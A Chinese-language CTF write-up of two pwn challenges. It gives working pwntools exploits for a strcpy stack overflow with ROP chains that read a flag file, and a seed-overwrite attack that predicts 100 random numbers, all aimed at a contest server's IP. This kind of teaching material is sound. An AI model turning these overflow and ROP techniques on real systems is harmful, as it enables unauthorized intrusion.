这两个题目是cmcc的比赛,比较有意思,我把pwn的wp发出来,供大家学习,我会写的稍微详细一点,方便新手学习
pwnme2的下载地址是http://download.csdn.net/download/niexinming/10021147
题目要求:
Task:
溢出,操控按顺序执行函数,读取到flag文件即可...
题目地址:nc 104.224.169.128 18887
把pwnme2直接拖入ida中
main函数:
userfunction函数
先运行一下程序看一下这个程序干了啥
再看看程序开启了哪些保护:
看到NX enabled是开启了栈不可执行,这时ROP就有应用空间了
在程序里面可以看到strcpy这个函数,所以这里会造成栈溢出漏洞,经过简单的探测,可以发现只要输入116个a就刚刚好覆盖到函数的返回值,经过观察我发现里面有个函数exec_string
可以利用这个函数读取服务器的flag,但是string没有值,可以点击string来查看string在哪里
可以看到string在.bss段偏移+0x20的地方,我马上就想到,可以用gets(.bss+0x20)把flag在服务器的绝对地址写入到.bss+0x20里面,然后再调用exec_string,然后就可以读出flag的值了,通过add_home和add_flag这两个函数知道flag在/home/.flag1里面,所以我写的exp是这样的
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'
from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
def debug(addr = '0x080486f6'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
shellcode="/home/.flag1"
elf = ELF('/home/h11p/hackme/pwnme2')
exec_string=elf.symbols['exec_string']
print "%x" % exec_string
scanf_addr = elf.symbols['gets']
print "%x" % scanf_addr
bss_addr = elf.bss()
print "%x" % bss_addr
offset = 0x70
#io = process('/home/h11p/hackme/pwnme2')
io = remote('104.224.169.128', 18887)
payload = 'A' * offset
payload += p32(scanf_addr) #溢出后调用gets函数
payload += p32(exec_string) #调用完gets函数后再调用exec_string
payload += p32(bss_addr+0x20) #传入.bass+0x20
#debug()
io.sendline(payload)
io.sendline(shellcode)
io.interactive()
io.close()
看一下效果
可以看到已经完美的读取到flag的值
另附另一个师傅写的exp,我觉得很不错
from pwn import *
#junk + p32(addhome) + p32(pop_ret) + arg1 + p32(addflag) + p32(pop_pop_ret) + arg2 + arg1 + p32(exec)
#ROPgadget --binary ./pwnme2 --only "pop|ret"
context(arch='i386', os='linux', log_level='debug')
def debug(addr = '0x080486f6'):
raw_input('debug:')
gdb.attach(r, "b *" + addr)
#r = process('/home/h11p/hackme/pwnme2')
r = remote('104.224.169.128', 18887)
elf = ELF('/home/h11p/hackme/pwnme2')
add_home_addr = elf.symbols['add_home']
add_flag_addr = elf.symbols['add_flag']
exec_str_addr = elf.symbols['exec_string']
pop_ret = 0x08048680
#pop_ret = 0x08048409
pop_pop_ret = 0x0804867f
payload = cyclic(0x6c)
payload += cyclic(0x04)
a1==0x0DEADBEEFh
payload += p32(add_home_addr) + p32(pop_ret) + '\xef\xbe\xad\xde'#add_home
#a1 == 0xCAFEBABE && a2 == 0xABADF00D
payload += p32(add_flag_addr) + p32(pop_pop_ret) + '\xbe\xba\xfe\xca' + '\x0d\xf0\xad\xab'#add_flag
payload += p32(exec_str_addr)
#debug()
r.recvuntil('Please input:', drop=True)
r.sendline(payload)
print r.recvall()
这个exp分别调用add_home和add_flag这个函数,首先看add_home这个函数
通过这个函数可以看到传递进入这个函数的a2这个参数要等于0x0DEADBEEF才能在&string中写入/home,也就是在.bss+0x20里面写入/home,然后调用pop ebp;ret;(0x08048680)目的是把最开始传入的参数弹出栈,然后再调用add_flag这个函数
再看add_flag这个函数:
同理在add_flag这个函数中也是一样的,只不过add_flag判断的值是两个参数a1 == 0xCAFEBABE && a2 == 0xABADF00D,add_flag函数的作用是往/home后面添加/.flag1这个字符串,调用完add_flag这个函数之后用pop edi;pop ebp;ret;(0x0804867f)把参数弹出栈,最后调用exec_string,此时&string中的值就会由空变成/home/.flag了,此时exec_string就会读出flag的内容
讲完pwmme2下面开始讲pwnme3,pwnme3的下载地址是http://download.csdn.net/download/niexinming/10021157,这个题目很有意思
题目要求:
Task:
猜中100次随机数即可得到想要的...
题目地址:nc 104.224.169.128 18885
把pwnme3直接拖入ida中
main函数:
如果成功的猜对100个随机数,那么就可以进入sub_804876C这个函数:
这个函数就是读取flag文件并输出
先运行一下程序看一下这个程序干了啥
这程序先要输入一个1,然后输入name,然后输入要猜的数字
诈一看这个程序似乎没有什么漏洞,输入name的地方有42个字符的限制,远远达不到覆盖函数返回值的地方,后来经过M4x师傅的提醒,这个题目的是覆盖随机数的种子达到使随机数可预测的方式来拿到flag
我先输入42个a,看看随机数的种子会不会被覆盖
运行到srand函数后下断点,然后发现随机数种子确实被覆盖成0x61616161了,这样的话就可以根据逆向的结果写个程序来预测之后100个随机数了
#include<stdio.h>
#include<stdlib.h>
int main() {
int i;
int v14,v13,v12;
srand(0x61616161);
for (i = 0; i <= 99; ++i)
{
v14 = rand();
srand(v14);
v13 = rand() % 0x1869Fu + 1;
printf("%d\n", v13);
}
}
注意,这个程序编译的时候只能在Linux用gcc编译,不能用win下的visual studio编译,随机数的生成也不能用python来模拟
这样生成100个随机数之后写入到一个文件里面,然后用pwntool不断的发送数字就能拿到flag
我都exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'
from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
def debug(addr = '0x08048968'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
shellcode="/home/flag"
# print disasm(shellcode)
offset = 0x2a
#io = process('/home/h11p/hackme/pwnme3')
io = remote('104.224.169.128', 18885)
payload ="a"*42
#debug()
io.recvuntil('Are you sure want to play the game?\n')
io.sendline('1')
io.recvuntil('Input your name :')
io.sendline(payload)
with open('rand.txt','r') as file:
for line in file:
io.recvuntil('Init random seed OK. Now guess :')
io.sendline(line)
#io.sendline(shellcode)
io.interactive()
#resp = io.recvn(4)
#myread = u32(resp)
#print myread
io.close()